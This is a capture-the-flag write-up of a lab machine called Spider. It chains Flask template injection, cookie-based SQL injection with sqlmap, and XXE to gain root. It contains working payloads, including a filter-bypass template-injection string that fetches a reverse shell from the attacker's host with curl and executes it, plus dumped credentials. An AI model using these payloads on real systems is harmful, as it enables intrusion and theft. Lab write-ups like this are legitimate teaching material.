Initial recon

sudo nmap -T4 -oA fullNmap -A --version-all -Pn -p- 10.10.10.243

Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-11 12:20 CEST
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.75% done
Nmap scan report for 10.10.10.243
Host is up (0.042s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
|   256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)
|_  256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://spider.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Only SSH and port 80 is open here so not much choice what to check.

imgError on main page

Through content discovery using I found 2 paths which are accessible without redirects, /login and /register. Rest of the paths can be useful after logging in.
imgDiscovered paths

Only login request is working, registration is impossible. Needs to discover some extra resources on the site then. Attempted some extra searches using zeta keyword and additional paths but could not find anything.

Also attempted to discover some subdomains using ffuf -u http://spider.htb/ -H "Host: FUZZ.spider.htb" -w /d/hacking/SecLists/Discovery/DNS/shubs-subdomains.txt -fc 301 command.

Digging into the login page more then - it says we require UUID to login into the page. If we could brute-force it there is some hope - maybe during registration user is created but we just do not receive the UUID? If the UUIDv1 would be used it is bruteforce-able as it relies on the timestamp, but we would also need a system MAC address. Nice breakdown of UUID structure is here
imgLogin page

There also exist limit of 10 characters on the username when registering.

For now - let’s perform UDP ports scan with sudo nmap 10.10.10.243 -sU -T4 -oA UDPScan -Pn if there is something interesting there. Hoping there is something that lets us retrieve the MAC address at least. Nothing seems to be open there.

I’m oficially lost at this point. It turns out all of the 500 errors are because of the broken machine - reset fixed it :) So onto the hacking.

Hacking the website

Authentication is done through the base64 encoded tokens. High probability that it is Flask that is used as a backend in that case as these are not typical JWT tokens. On the chair details I found user chiv which posted the chairs which is probably our target here. Generated UUIDs look totally random so I doubt it is the vulnerable type. After testing various things, I noticed that username is reflected in many places.

Server Side Template Injection

Testing different payloads, I discovered that on endpoint /user our username is insecurely injected into the template, leading to Server Side Template Injection.

POST /register HTTP/1.1
Host: spider.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://spider.htb
Connection: close
Date: Sun, 11 Jul 2021 14:47:28 GMT
Referer: http://spider.htb/register
Cookie: session=eyJjYXJ0X2l0ZW1zIjpbIjEiXX0.YOsDtA.dglUpX06AD149jHBhIOatfUVRKo
Upgrade-Insecure-Requests: 1

username={{7*'7'}}&confirm_username={{7*'7'}}&password=qwe&confirm_password=qwe

imgServer Side Template Injection vulnerability

Now remember we can only have 10 characters in the username - so aside from the {{ }} tags we have 6 more characters. Ideally, we can print the content of config variable which should list all the secrets of the application.

<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None,
 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 
 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 
 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 
 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 
 'PREFERRED_URL_SCHEME': 'http', 
 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 
 'MAX_COOKIE_SIZE': 4093, 'RATELIMIT_ENABLED': True, 'RATELIMIT_DEFAULTS_PER_METHOD': False, 'RATELIMIT_SWALLOW_ERRORS': False, 'RATELIMIT_HEADERS_ENABLED': False, 
 'RATELIMIT_STORAGE_URL': 'memory://', 'RATELIMIT_STRATEGY': 'fixed-window', 'RATELIMIT_HEADER_RESET': 'X-RateLimit-Reset', 
 'RATELIMIT_HEADER_REMAINING': 'X-RateLimit-Remaining', 'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit', 'RATELIMIT_HEADER_RETRY_AFTER': 'Retry-After', 'UPLOAD_FOLDER': 'static/uploads'}>

SQL Injection

With this we are able to sign the cookies. But by itself it still does not grant us any privs, since we don’t know the UUID of the chiv user we want to impersonate. Tinkering with the cookies, I am able to discover SQL injection in cart_items parameters - as value "cart_items":["1+1"] works the same that "cart_items":["2"]. Now we need to instrument sqlmap to properly exploit this vulnerability. Final payload that I used to succesfully find vulnerability and dump data from the database is that one (based on this):
sqlmap http://spider.htb/cart --eval "from flask_unsign import session as s; session = s.sign({'cart_items':[session],'uuid':'13da12f8-306f-4a53-a30b-4921de1bd13d'}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie="session=1*" --dump --proxy http://127.0.0.1:8080 --delay=1 --level=5 --risk=3

With this we succesfully dumped data and could log in as a chiv user.

Database: shop
Table: messages
[5 entries]
+---------+---------+-----------------------------------------------------------------------------------+---------------------+
| post_id | creator | message
             | timestamp           |
+---------+---------+-----------------------------------------------------------------------------------+---------------------+
| 1       | 1       | Fix the <b>/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal</b> portal! | 2020-04-24 15:02:41 |
+---------+---------+-----------------------------------------------------------------------------------+---------------------+
Database: shop
Table: users
[99 entries]
+----+--------------------------------------+------------+--------------------------------------+
| id | uuid                                 | name       | password
     |
+----+--------------------------------------+------------+--------------------------------------+
| 1  | 129f60ea-30cf-4065-afb9-6be45ad38b73 | chiv       | ch1VW4sHERE7331

Of course the first thing to do is testing that password on the SSH - but it accepts only the public keys. Let’s go further with our exploitation then.

SSTI again ?

In the messages table and admin panel we see interesting message about unfinished /a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal endpoint. Sounds like a huge hint, so let’s try to exploit that. From this position, we basically care only about Remote Code Execution vulnerabilities, so testing SSTI vulnerability again. When sending anything in message parameter, nothing happens - but any typical SSTI payload in the contact parameter is blocked!

imgBlock message

Going through various payloads as {{ }} tags seem forbidden, I am at least able to test that indeed there exist a SSTI vulnerability. When sending payload test{##} where {##} should get treated as a comment and not reflected - indeed we see only the test part in the support panel. Another useful tags for this template engine are {% %} which pass just fine. However there are plenty of keywords that are blocked by their “WAF” so it seems that we need to bypass that.
imgWAF error message

I found excellent resource about bypassing filters in SSTI here - with this I found payload like {%25print+()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[0] which bypasses all filters and prints 0th class from available classes in the python context. From here we can enumerate through them and find a gadget which will be useful to us. I went for the classic one, a class from which we can call popen function and call any arbitrary function.

Example of class object which can be useful for that is os._wrap_close. Printing all the classes name one by one, I find our function at index 117. Now just finishing the chain (and fixing a typo in the article with that particular command) We have our final payload which works inside {% %} tags:
{%25print+()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("whoami")["read"]()%25}

Final payload which is oneliner RCE - need to host revshell in our server on port 8888:
{%25print+()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("curl+http://10\x2E10\x2E14\x2E226:8888/revshell+-o+rev+%26%26+chmod+a%2bx+rev+%26%26+\x2E/rev")["read"]()%25}

And here we have a flag and SSH private key id_rsa in folder /home/chiv/.ssh for stable connection.

imgUser flag

Privilege escalation

Starting with the basic thing so running a linpeas.sh script here. From the output we can see interesting process - uwsgi which is running as root has game.ini file as init script.
imgProcesses output from linpeas

It means the web app is hosted with the privileges of the root user on that machine. Inspecting listening ports, we see listening service on port 8080. So looks like this is straight path to the root. Let’s follow it.

First let’s tunnel that port to our host and inspect it - doing it with ssh chiv@spider.htb -i id_rsa -L 9999:127.0.0.1:8080 (listening on port 9999 since 8080 is taken by my Burp).

It seems that it is another Flask based application and we can login into it with any credentials. Also the session cookie should contain our username as it is reflected but there is not any plaintext there when decoded - possibly it is encrypted.

Site by itself does not seem to have any functionalities besides login and logout. Logged in username is being reflected on the site but does not seem to be vulnerable to any simple attacks like standard SSTI. When logging out - we receive cookie with parameter points which can be a hint here.

Attempting to inject various characters like !@#$%^&*()_+}{":?><>?|/*-~! throws out an error - so should be digging further into it. Content discovery does not yield any extra paths on this web app.

imgError response to various characters

After testing various characters and combinations, it seems that problematic characters are < and &. What is more - after sending payload like <b>a</b> we get response None instead of error, so it seems it recognizes proper tags when opened and closed. Now onto the search what exactly can be used underneath.

The only things that comes to mind aside from XSS (which would not make sense here as it is not some NodeJS app) which uses these characters is XXE. However after trying various payloads and attempting bypasses I was not able to get any other output than None or Error in username - also nothing blind was working there. Interestingly learned about XInclude payload to trigger XXE vulnerability which is not mentioned a lot and never had a chance to dig into it more.

Struggling what do try next - finally pieced together that the payload in the cookie (our username) seems encrypted - so maybe the secret is being reused and is the same as in previous application. Attempting to decode it with flask-unsign --decode --cookie '.eJxNjL1ugzAYRV-l8tzBUJoBKQuyDXUKkQ3-TLyBHMWEn6KAWkKUd28jtVLHo3PuvaFu6TsU3tBTjUKkaMYsXQrRcpB6HqD39FGn1zoxTaVYUMRjZJVHRClTIPJdUbez_duq8pn8-CFXWbRnYyLPkXn4BxvcEaEtF5gGhrl9HWdzpl0DnrpACxqYofbFtJq-Tgcfe1XMS_j397sX0l82mvC48nlZJyCqlgYF4dOxO11lPzfgL56K7edfL9buosHlFYuGenVpikf_cM7k7mu7RfdnNH40wzyhEN-_AXhMVbc.YPXr9g.3RVz1HhevYs8G9Zs_UP0KX_6_50' --secret "Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942" - and we get some interesting output as the result!
The decrypted result is

{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+VEVTVDwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+', 'points': 0}`

After base64 decoding the lxml parameter - it shows us structure of the processed request, where both version and username parameters from the login requests are embeeded.

<!-- API Version 1.0.0 -->
<root>
    <data>
        <username>TEST</username>
        <is_admin>0</is_admin>
    </data>
</root>

We cannot inject directly into the username parameter it seems as it is inside the request structure actually, but the value of version seems easily injectable. Testing it with the payload 1+--><!DOCTYPE+root+[<!ENTITY+%25+ext+SYSTEM+"http%3a//127.0.0.1%3a3333">+%25ext%3b]> it actually hits our listener on port 3333!

Now just need to read a file using it. Probably could do it completely blind but if we can inject in both places - it seems easiest to prepare entity in the version parameter and reflect it on the page by using that entity. Let’s attempt it this will work.

Parameters to my request finally look like this - need to remember to again start next comment section after defining entity to have proper syntax.
username=%26test%3b&version=1+--><!DOCTYPE+root+[<!ENTITY+test+SYSTEM+"file:///root/root.txt">]><!--+

Sending that payload gives us the root flag!
imgReading the root flag

We could also read /root/.ssh/id_rsa file to get shell on the root account and read flag ourselves - that works without any problem here too. Other means could be cracking password from /etc/shadow or searching for some other sensitive data to be read but in our case we can stop on this one.

Closing thoughts

This machine was totally web, which I’m comfortable with but needed a bit of refresher to get onto the starting path (checking all the places for SSTI). After getting onto the track the only thing needed here is perservance in looking to how bypass things which was quite enjoyable. Root seemed a bit easier than the initial user tbh, but cannot say it was super easy for me as I forgot the first rule of hacking machines - always check for reuse of credentials and secrets first! Can definitely recommend that one.